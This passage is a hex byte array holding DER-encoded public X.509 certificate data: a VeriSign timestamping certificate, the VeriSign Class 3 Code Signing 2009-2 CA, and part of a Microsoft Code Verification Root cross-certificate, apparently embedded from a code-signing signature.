0x83, 0x58, 0x57, 0x6f, 0x75, 0xbf, 0x3c, 0xaa, 0x26, 0x87, 0x5d, 0xca, 0x10, 0x15, 0x3c, 0x9f, 0x84, 0xea, 0x54, 0xc1, 0x0a, 0x6e, 0xc4, 0xfe, 0xc5, 0x4a, 0xdd, 0xb9, 0x07, 0x11, 0x97, 0x22, 0x7c, 0xdb, 0x3e, 0x27, 0xd1, 0x1e, 0x78, 0xec, 0x9f, 0x31, 0xc9, 0xf1, 0xe6, 0x22, 0x19, 0xdb, 0xc4, 0xb3, 0x47, 0x43, 0x9a, 0x1a, 0x5f, 0xa0, 0x1e, 0x90, 0xe4, 0x5e, 0xf5, 0xee, 0x7c, 0xf1, 0x7d, 0xab, 0x62, 0x01, 0x8f, 0xf5, 0x4d, 0x0b, 0xde, 0xd0, 0x22, 0x56, 0xa8, 0x95, 0xcd, 0xae, 0x88, 0x76, 0xae, 0xee, 0xba, 0x0d, 0xf3, 0xe4, 0x4d, 0xd9, 0xa0, 0xfb, 0x68, 0xa0, 0xae, 0x14, 0x3b, 0xb3, 0x87, 0xc1, 0xbb, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0xdb, 0x30, 0x81, 0xd8, 0x30, 0x34, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x28, 0x30, 0x26, 0x30, 0x24, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x18, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x30, 0x12, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xff, 0x02, 0x01, 0x00, 0x30, 0x41, 0x06, 0x03, 0x55, 0x1d, 0x1f, 0x04, 0x3a, 0x30, 0x38, 0x30, 0x36, 0xa0, 0x34, 0xa0, 0x32, 0x86, 0x30, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x63, 0x72, 0x6c, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x69, 0x6e, 0x67, 0x43, 0x41, 0x2e, 0x63, 0x72, 0x6c, 0x30, 0x13, 0x06, 0x03, 0x55, 0x1d, 0x25, 0x04, 0x0c, 0x30, 0x0a, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x24, 0x06, 0x03, 0x55, 0x1d, 0x11, 0x04, 0x1d, 0x30, 0x1b, 0xa4, 0x19, 0x30, 0x17, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x0c, 0x54, 0x53, 0x41, 0x32, 0x30, 0x34, 0x38, 0x2d, 0x31, 0x2d, 0x35, 0x33, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, 0x00, 0x4a, 0x6b, 0xf9, 0xea, 0x58, 0xc2, 0x44, 0x1c, 0x31, 0x89, 0x79, 0x99, 0x2b, 0x96, 0xbf, 0x82, 0xac, 0x01, 0xd6, 0x1c, 0x4c, 0xcd, 0xb0, 0x8a, 0x58, 0x6e, 0xdf, 0x08, 0x29, 0xa3, 0x5e, 0xc8, 0xca, 0x93, 0x13, 0xe7, 0x04, 0x52, 0x0d, 0xef, 0x47, 0x27, 0x2f, 0x00, 0x38, 0xb0, 0xe4, 0xc9, 0x93, 0x4e, 0x9a, 0xd4, 0x22, 0x62, 0x15, 0xf7, 0x3f, 0x37, 0x21, 0x4f, 0x70, 0x31, 0x80, 0xf1, 0x8b, 0x38, 0x87, 0xb3, 0xe8, 0xe8, 0x97, 0x00, 0xfe, 0xcf, 0x55, 0x96, 0x4e, 0x24, 0xd2, 0xa9, 0x27, 0x4e, 0x7a, 0xae, 0xb7, 0x61, 0x41, 0xf3, 0x2a, 0xce, 0xe7, 0xc9, 0xd9, 0x5e, 0xdd, 0xbb, 0x2b, 0x85, 0x3e, 0xb5, 0x9d, 0xb5, 0xd9, 0xe1, 0x57, 0xff, 0xbe, 0xb4, 0xc5, 0x7e, 0xf5, 0xcf, 0x0c, 0x9e, 0xf0, 0x97, 0xfe, 0x2b, 0xd3, 0x3b, 0x52, 0x1b, 0x1b, 0x38, 0x27, 0xf7, 0x3f, 0x4a, 0x30, 0x82, 0x04, 0xfc, 0x30, 0x82, 0x04, 0x65, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x65, 0x52, 0x26, 0xe1, 0xb2, 0x2e, 0x18, 0xe1, 0x59, 0x0f, 0x29, 0x85, 0xac, 0x22, 0xe7, 0x5c, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x5f, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x2c, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x37, 0x30, 0x35, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x2e, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x30, 0x1e, 0x17, 0x0d, 0x30, 0x39, 0x30, 0x35, 0x32, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x31, 0x39, 0x30, 0x35, 0x32, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5a, 0x30, 0x81, 0xb6, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x2c, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x1f, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x31, 0x3b, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x20, 0x6f, 0x66, 0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29, 0x30, 0x39, 0x31, 0x30, 0x30, 0x2e, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6f, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69, 0x6e, 0x67, 0x20, 0x32, 0x30, 0x30, 0x39, 0x2d, 0x32, 0x20, 0x43, 0x41, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xbe, 0x67, 0x1d, 0xb4, 0x60, 0xaa, 0x10, 0x49, 0x6f, 0x56, 0x17, 0x7c, 0x66, 0xc9, 0x5e, 0x86, 0x0d, 0xd5, 0xf1, 0xac, 0xa7, 0x71, 0x83, 0x8e, 0x8b, 0x89, 0xf8, 0x88, 0x04, 0x89, 0x15, 0x06, 0xba, 0x2d, 0x84, 0x21, 0x95, 0xe4, 0xd1, 0x9c, 0x50, 0x4c, 0xfb, 0xd2, 0x22, 0xbd, 0xda, 0xf2, 0xb2, 0x35, 0x3b, 0x1e, 0x8f, 0xc3, 0x09, 0xfb, 0xfc, 0x13, 0x2e, 0x5a, 0xbf, 0x89, 0x7c, 0x3d, 0x3b, 0x25, 0x1e, 0xf6, 0xf3, 0x58, 0x7b, 0x9c, 0xf4, 0x01, 0xb5, 0xc6, 0x0a, 0xb8, 0x80, 0xce, 0xbe, 0x27, 0x74, 0x61, 0x67, 0x27, 0x4d, 0x6a, 0xe5, 0xec, 0x81, 0x61, 0x58, 0x79, 0xa3, 0xe0, 0x17, 0x10, 0x12, 0x15, 0x27, 0xb0, 0xe1, 0x4d, 0x34, 0x7f, 0x2b, 0x47, 0x20, 0x44, 0xb9, 0xde, 0x66, 0x24, 0x66, 0x8a, 0xcd, 0x4f, 0xba, 0x1f, 0xc5, 0x38, 0xc8, 0x54, 0x90, 0xe1, 0x72, 0xf6, 0x19, 0x66, 0x75, 0x6a, 0xb9, 0x49, 0x68, 0xcf, 0x38, 0x79, 0x0d, 0xaa, 0x30, 0xa8, 0xdb, 0x2c, 0x60, 0x48, 0x9e, 0xd7, 0xaa, 0x14, 0x01, 0xa9, 0x83, 0xd7, 0x38, 0x91, 0x30, 0x39, 0x13, 0x96, 0x03, 0x3a, 0x7c, 0x40, 0x54, 0xb6, 0xad, 0xe0, 0x2f, 0x1b, 0x83, 0xdc, 0xa8, 0x11, 0x52, 0x3e, 0x02, 0xb3, 0xd7, 0x2b, 0xfd, 0x21, 0xb6, 0xa7, 0x5c, 0xa3, 0x0f, 0x0b, 0xa9, 0xa6, 0x10, 0x50, 0x0e, 0x34, 0x2e, 0x4d, 0xa7, 0xce, 0xc9, 0x5e, 0x25, 0xd4, 0x8c, 0xbc, 0xf3, 0x6e, 0x7c, 0x29, 0xbc, 0x01, 0x5d, 0xfc, 0x31, 0x87, 0x5a, 0xd5, 0x8c, 0x85, 0x67, 0x58, 0x88, 0x19, 0xa0, 0xbf, 0x35, 0xf0, 0xea, 0x2b, 0xa3, 0x21, 0xe7, 0x90, 0xf6, 0x83, 0xe5, 0xa8, 0xed, 0x60, 0x78, 0x5e, 0x7b, 0x60, 0x83, 0xfd, 0x57, 0x0b, 0x5d, 0x41, 0x0d, 0x63, 0x54, 0x60, 0xd6, 0x43, 0x21, 0xef, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x82, 0x01, 0xdb, 0x30, 0x82, 0x01, 0xd7, 0x30, 0x12, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xff, 0x02, 0x01, 0x00, 0x30, 0x70, 0x06, 0x03, 0x55, 0x1d, 0x20, 0x04, 0x69, 0x30, 0x67, 0x30, 0x65, 0x06, 0x0b, 0x60, 0x86, 0x48, 0x01, 0x86, 0xf8, 0x45, 0x01, 0x07, 0x17, 0x03, 0x30, 0x56, 0x30, 0x28, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1c, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x70, 0x73, 0x30, 0x2a, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x1e, 0x1a, 0x1c, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x72, 0x70, 0x61, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x6d, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x0c, 0x04, 0x61, 0x30, 0x5f, 0xa1, 0x5d, 0xa0, 0x5b, 0x30, 0x59, 0x30, 0x57, 0x30, 0x55, 0x16, 0x09, 0x69, 0x6d, 0x61, 0x67, 0x65, 0x2f, 0x67, 0x69, 0x66, 0x30, 0x21, 0x30, 0x1f, 0x30, 0x07, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1a, 0x04, 0x14, 0x8f, 0xe5, 0xd3, 0x1a, 0x86, 0xac, 0x8d, 0x8e, 0x6b, 0xc3, 0xcf, 0x80, 0x6a, 0xd4, 0x48, 0x18, 0x2c, 0x7b, 0x19, 0x2e, 0x30, 0x25, 0x16, 0x23, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x76, 0x73, 0x6c, 0x6f, 0x67, 0x6f, 0x2e, 0x67, 0x69, 0x66, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x1d, 0x25, 0x04, 0x16, 0x30, 0x14, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x02, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x34, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x28, 0x30, 0x26, 0x30, 0x24, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x18, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x30, 0x31, 0x06, 0x03, 0x55, 0x1d, 0x1f, 0x04, 0x2a, 0x30, 0x28, 0x30, 0x26, 0xa0, 0x24, 0xa0, 0x22, 0x86, 0x20, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x63, 0x72, 0x6c, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x63, 0x61, 0x33, 0x2e, 0x63, 0x72, 0x6c, 0x30, 0x29, 0x06, 0x03, 0x55, 0x1d, 0x11, 0x04, 0x22, 0x30, 0x20, 0xa4, 0x1e, 0x30, 0x1c, 0x31, 0x1a, 0x30, 0x18, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x11, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x33, 0x43, 0x41, 0x32, 0x30, 0x34, 0x38, 0x2d, 0x31, 0x2d, 0x35, 0x35, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x97, 0xd0, 0x6b, 0xa8, 0x26, 0x70, 0xc8, 0xa1, 0x3f, 0x94, 0x1f, 0x08, 0x2d, 0xc4, 0x35, 0x9b, 0xa4, 0xa1, 0x1e, 0xf2, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, 0x00, 0x8b, 0x03, 0xc0, 0xdd, 0x94, 0xd8, 0x41, 0xa2, 0x61, 0x69, 0xb0, 0x15, 0xa8, 0x78, 0xc7, 0x30, 0xc6, 0x90, 0x3c, 0x7e, 0x42, 0xf7, 0x24, 0xb6, 0xe4, 0x83, 0x73, 0x17, 0x04, 0x7f, 0x04, 0x10, 0x9c, 0xa1, 0xe2, 0xfa, 0x81, 0x2f, 0xeb, 0xc0, 0xca, 0x44, 0xe7, 0x72, 0xe0, 0x50, 0xb6, 0x55, 0x10, 0x20, 0x83, 0x6e, 0x96, 0x92, 0xe4, 0x9a, 0x51, 0x6a, 0xb4, 0x37, 0x31, 0xdc, 0xa5, 0x2d, 0xeb, 0x8c, 0x00, 0xc7, 0x1d, 0x4f, 0xe7, 0x4d, 0x32, 0xba, 0x85, 0xf8, 0x4e, 0xbe, 0xfa, 0x67, 0x55, 0x65, 0xf0, 0x6a, 0xbe, 0x7a, 0xca, 0x64, 0x38, 0x1a, 0x10, 0x10, 0x78, 0x45, 0x76, 0x31, 0xf3, 0x86, 0x7a, 0x03, 0x0f, 0x60, 0xc2, 0xb3, 0x5d, 0x9d, 0xf6, 0x8b, 0x66, 0x76, 0x82, 0x1b, 0x59, 0xe1, 0x83, 0xe5, 0xbd, 0x49, 0xa5, 0x38, 0x56, 0xe5, 0xde, 0x41, 0x77, 0x0e, 0x58, 0x0f, 0x30, 0x82, 0x05, 0x03, 0x30, 0x82, 0x02, 0xeb, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x0a, 0x61, 0x0c, 0x12, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1b, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x7f, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0a, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6e, 0x67, 0x74, 0x6f, 0x6e, 0x31, 0x10, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6d, 0x6f, 0x6e, 0x64, 0x31, 0x1e, 0x30, 0x1c, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x15, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x20, 0x43, 0x6f, 0x72, 0x70, 0x6f, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x20, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x20, 0x43, 0x6f, 0x64, 0x65, 0x20, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x52, 0x6f, 0x6f, 0x74, 0x30, 0x1e, 0x17, 0x0d, 0x30, 0x36, 0x30, 0x35, 0x32, 0x33, 0x31, 0x37, 0x30, 0x31, 0x32, 0x39, 0x5a, 0x17, 0x0d, 0x31, 0x36, 0x30, 0x35, 0x32, 0x33, 0x31, 0x37, 0x31, 0x31, 0x32, 0x39, 0x5a, 0x30, 0x5f, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x2c, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x37, 0x30, 0x35, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x2e, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x30, 0x81, 0x9f, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x81, 0x8d, 0x00, 0x30, 0x81, 0x89, 0x02, 0x81, 0x81, 0x00, 0xc9, 0x5c, 0x59, 0x9e, 0xf2, 0x1b, 0x8a, 0x01, 0x14, 0xb4, 0x10, 0xdf, 0x04, 0x40, 0xdb, 0xe3, 0x57, 0xaf, 0x6a, 0x45, 0x40, 0x8f, 0x84, 0x0c, 0x0b, 0xd1, 0x33, 0xd9, 0xd9, 0x11, 0xcf, 0xee, 0x02, 0x58, 0x1f, 0x25, 0xf7, 0x2a, 0xa8, 0x44, 0x05, 0xaa, 0xec, 0x03, 0x1f, 0x78, 0x7f, 0x9e, 0x93, 0xb9, 0x9a, 0x00, 0xaa, 0x23, 0x7d, 0xd6, 0xac, 0x85, 0xa2, 0x63, 0x45, 0xc7, 0x72, 0x27, 0xcc, 0xf4, 0x4c, 0xc6, 0x75, 0x71, 0xd2, 0x39, 0xef, 0x4f, 0x42, 0xf0, 0x75, 0xdf, 0x0a, 0x90, 0xc6, 0x8e, 0x20, 0x6f, 0x98, 0x0f, 0xf8, 0xac, 0x23, 0x5f, 0x70, 0x29, 0x36, 0xa4, 0xc9, 0x86, 0xe7, 0xb1, 0x9a, 0x20, 0xcb, 0x53, 0xa5, 0x85, 0xe7, 0x3d, 0xbe, 0x7d, 0x9a, 0xfe, 0x24, 0x45, 0x33, 0xdc, 0x76, 0x15, 0xed, 0x0f, 0xa2, 0x71, 0x64, 0x4c, 0x65, 0x2e, 0x81, 0x68, 0x45, 0xa7, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x82, 0x01, 0x23, 0x30, 0x82, 0x01, 0x1f, 0x30, 0x11, 0x06, 0x03, 0x55, 0x1d, 0x20, 0x04, 0x0a, 0x30, 0x08, 0x30, 0x06, 0x06, 0x04, 0x55, 0x1d, 0x20, 0x00, 0x30, 0x36, 0x06, 0x09, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x07, 0x04, 0x29, 0x30, 0x27, 0x06, 0x1f, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x08, 0x8d, 0xe0, 0xd1, 0x89, 0x4e, 0x84, 0xd7, 0x9c, 0xc3, 0x07, 0x86, 0xa6, 0x86, 0xfb, 0x1c, 0x8f, 0xd3, 0xbf, 0xa6, 0x15, 0x01, 0x19, 0x02, 0x01, 0x6e, 0x02, 0x01, 0x00, 0x30, 0x0b, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x0f, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xff, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0xe2, 0x7f, 0x7b, 0xd8, 0x77, 0xd5, 0xdf, 0x9e, 0x0a, 0x3f, 0x9e, 0xb4, 0xcb, 0x0e, 0x2e, 0xa9, 0xef, 0xdb, 0x69, 0x77, 0x30, 0x1d, 0x06, 0x09, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x14, 0x02, 0x04, 0x10, 0x1e, 0x0e, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x43, 0x00, 0x41, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x62, 0xfb, 0x0a, 0x21, 0x5b, 0x7f, 0x43, 0x6e, 0x11, 0xda, 0x09, 0x54, 0x50, 0x6b, 0xf5, 0xd2, 0x96, 0x71, 0xf1, 0x9e, 0x30, 0x55, 0x06, 0x03, 0x55, 0x1d, 0x1f, 0x04, 0x4e, 0x30, 0x4c, 0x30, 0x4a, 0xa0, 0x48, 0xa0, 0x46, 0x86, 0x44, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x63, 0x72, 0x6c, 0x2e, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x6b, 0x69, 0x2f, 0x63, 0x72, 0x6c, 0x2f, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2f, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x43, 0x6f, 0x64, 0x65, 0x56, 0x65, 0x72, 0x69, 0x66, 0x52, 0x6f, 0x6f, 0x74, 0x2e, 0x63, 0x72, 0x6c, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, 0x00, 0x01, 0xe4, 0x46, 0xb3, 0x3b, 0x45, 0x7f, 0x75, 0x13, 0x87, 0x7e, 0x5f, 0x43, 0xde, 0x46, 0x8e, 0xcb, 0x8a, 0xbd, 0xb6, 0x47, 0x41, 0xbc, 0xcc, 0xcc, 0x74, 0x91, 0xd8, 0xce, 0x39, 0x51, 0x95, 0xa4, 0xa6, 0xb5, 0x47, 0xc0, 0xef, 0xd2, 0xda, 0x7b, 0x8f, 0x57, 0x11, 0xf4, 0x32, 0x8c, 0x7c, 0xcd, 0x3f, 0xee, 0x42, 0xda, 0x04, 0x21, 0x4a, 0xf7, 0xc8, 0x43, 0x88, 0x4a, 0x6f, 0x5c, 0xca, 0x14, 0xfc, 0x4b, 0xd1, 0x9f, 0x4c, 0xbd, 0xd4, 0x55, 0x6e, 0xcc, 0x02, 0xbe, 0x0d, 0xa6, 0x88, 0x8f, 0x86, 0x09, 0xba, 0xa4, 0x25, 0xbd, 0xe8, 0xb0, 0xf0, 0xfa, 0x8b, 0x71, 0x4e, 0x67, 0xb0, 0xcb, 0x82, 0xa8, 0xd7, 0x8e, 0x55, 0xf7, 0x37, 0xeb, 0xf0, 0x3e, 0x88, 0xef, 0xe4, 0xe0, 0x8a, 0xfd, 0x1c, 0x6e, 0x2e, 0x61, 0x41, 0x48, 0x75, 0xb4, 0xb0, 0x2c, 0x1d, 0x28, 0xd8, 0x49, 0x0f, 0xd7, 0x15, 0xf0, 0x24, 0x73, 0x25, 0x3c, 0xcc, 0x88, 0x0c, 0xde, 0x28, 0x4c, 0x65, 0x54, 0xfe, 0x5e, 0xae, 0x8c, 0xea, 0x19, 0xad, 0x2c, 0x51, 0xb2, 0x9b, 0x3a, 0x47, 0xf5, 0x3c, 0x80, 0x35, 0x01, 0x17, 0xe2, 0x49, 0x87, 0xd6, 0x54, 0x4a, 0xfb, 0x4b, 0xab, 0x07, 0xbc, 0xbf, 0x7d, 0x79, 0xcf, 0xbf, 0x35, 0x00, 0x5c, 0xbb, 0x9e, 0xcf, 0xfc, 0x82, 0x89, 0x1b, 0x39, 0xa0, 0x51, 0x97, 0xb6, 0xde, 0xc0, 0xb3, 0x07, 0xff, 0x44, 0x96, 0x44, 0xc0, 0x34, 0x2a, 0x19, 0x5c, 0xab, 0xee, 0xf0, 0x3b, 0xec, 0x29, 0x4e, 0xb5, 0x13, 0xc5, 0x37, 0x85, 0x7e, 0x75, 0xd5, 0xb4, 0xd6, 0x0d, 0x06, 0x6e, 0xb5, 0xd2, 0x6c, 0x23, 0x71, 0x67, 0xea, 0xf1, 0x71, 0x8e, 0xaf, 0x4e, 0x74, 0xaa, 0x0c, 0xf9, 0xec, 0xbf, 0x4c, 0x58, 0xfa, 0x5e, 0x90, 0x9b, 0x6d, 0x39, 0xcb, 0x86, 0x88, 0x3f, 0x8b, 0x1c, 0xa8, 0x16, 0x32, 0xd5, 0xfe, 0x6d, 0xb9, 0xf1, 0xf8, 0xb3, 0xea, 0xd7, 0x91, 